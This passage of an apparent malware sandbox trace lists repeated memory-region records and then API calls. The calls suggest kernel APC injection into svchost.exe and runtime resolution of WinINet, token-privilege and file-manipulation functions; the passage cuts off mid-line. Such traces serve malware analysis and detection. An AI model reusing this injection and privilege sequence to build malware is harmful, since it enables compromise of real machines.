end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4731 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4732 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4733 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4734 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4735 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4736 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4737 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4738 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4739 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4740 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4741 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4742 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4743 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4744 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4745 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4746 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4747 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4748 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4749 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4750 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4751 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4752 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4753 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4754 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4755 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4756 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4757 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4758 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4759 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4760 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4761 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4762 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4763 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4764 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4765 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4766 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4767 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4768 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4769 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4770 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4771 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4772 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4773 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4774 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4775 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4776 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4777 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4778 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4779 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4780 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4781 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4782 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4783 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4784 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4785 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4786 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4787 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4788 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4789 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4790 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4791 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4792 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4793 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4794 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4795 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4796 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4797 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4798 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4799 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4800 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4801 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4802 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4803 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4804 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4805 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4806 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4807 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4808 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4809 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4810 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4811 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4812 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4813 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4814 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4815 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4816 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4817 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4818 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4819 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4820 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4821 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4822 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4823 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4824 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4825 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4826 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4827 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 4828 start_va = 0x390000 end_va = 0x394fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Thread: id = 186 os_tid = 0x378 [0081.538] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.538] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.540] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0081.540] IoIs32bitProcess (Irp=0x0) returned 0 [0081.540] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003690290 [0081.540] KeInitializeApc (Apc=0xfffffa8003690290, Thread=0xfffffa8003690b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0081.540] KeInsertQueueApc (Apc=0xfffffa8003690290, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0081.540] ExFreePoolWithTag (P=0xfffffa8003690290, Tag=0x0) [0081.540] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80034fc580 [0081.540] IoGetCurrentProcess () returned 0xfffffa80034fca60 [0081.540] PsGetCurrentProcessId () returned 0x374 [0081.540] IoIs32bitProcess (Irp=0x0) returned 0 [0081.540] KeInitializeEvent (in: Event=0xfffffa80034fc5c0, Type=0x0, State=0 | out: Event=0xfffffa80034fc5c0) [0081.540] ExQueueWorkItem (in: WorkItem=0xfffffa80034fc580*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80034fc580), QueueType=0x1 | out: WorkItem=0xfffffa80034fc580*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80034fc580)) [0081.563] KeWaitForMutexObject () returned 0x0 [0081.563] ExFreePoolWithTag (P=0xfffffa80034fc580, Tag=0x0) [0081.564] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.568] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.569] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.569] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.572] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0081.575] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0081.576] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0081.576] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0081.576] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0081.576] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0081.576] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.576] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.577] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.577] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.577] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.578] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.578] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.579] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.579] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.580] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.580] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.580] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.581] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.583] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.583] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.605] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0081.605] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0081.605] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0081.605] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0081.605] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.607] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0081.607] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0081.607] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.609] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0081.609] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0081.609] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0081.609] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0081.609] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0081.609] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0081.609] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0081.611] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0081.611] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0081.611] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x1cf148 | out: lpflOldProtect=0x1cf148*=0x40) returned 1 [0081.611] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x1cf148 | out: lpflOldProtect=0x1cf148*=0x4) returned 1 [0081.611] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0081.611] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0081.612] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0081.613] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0081.614] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0081.614] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0081.614] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0081.614] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0081.614] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0081.614] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0081.615] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0081.615] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0081.615] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0081.615] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0081.615] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0081.615] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0081.615] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0081.615] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0081.615] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0081.615] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0081.615] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0081.615] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0081.616] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0081.616] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0081.616] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0081.616] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0081.616] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0081.616] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0081.616] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0081.616] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0081.616] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0081.616] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0081.616] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0081.616] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0081.617] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0081.618] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0081.618] GetProcAddress (hModule=0x77a30000, 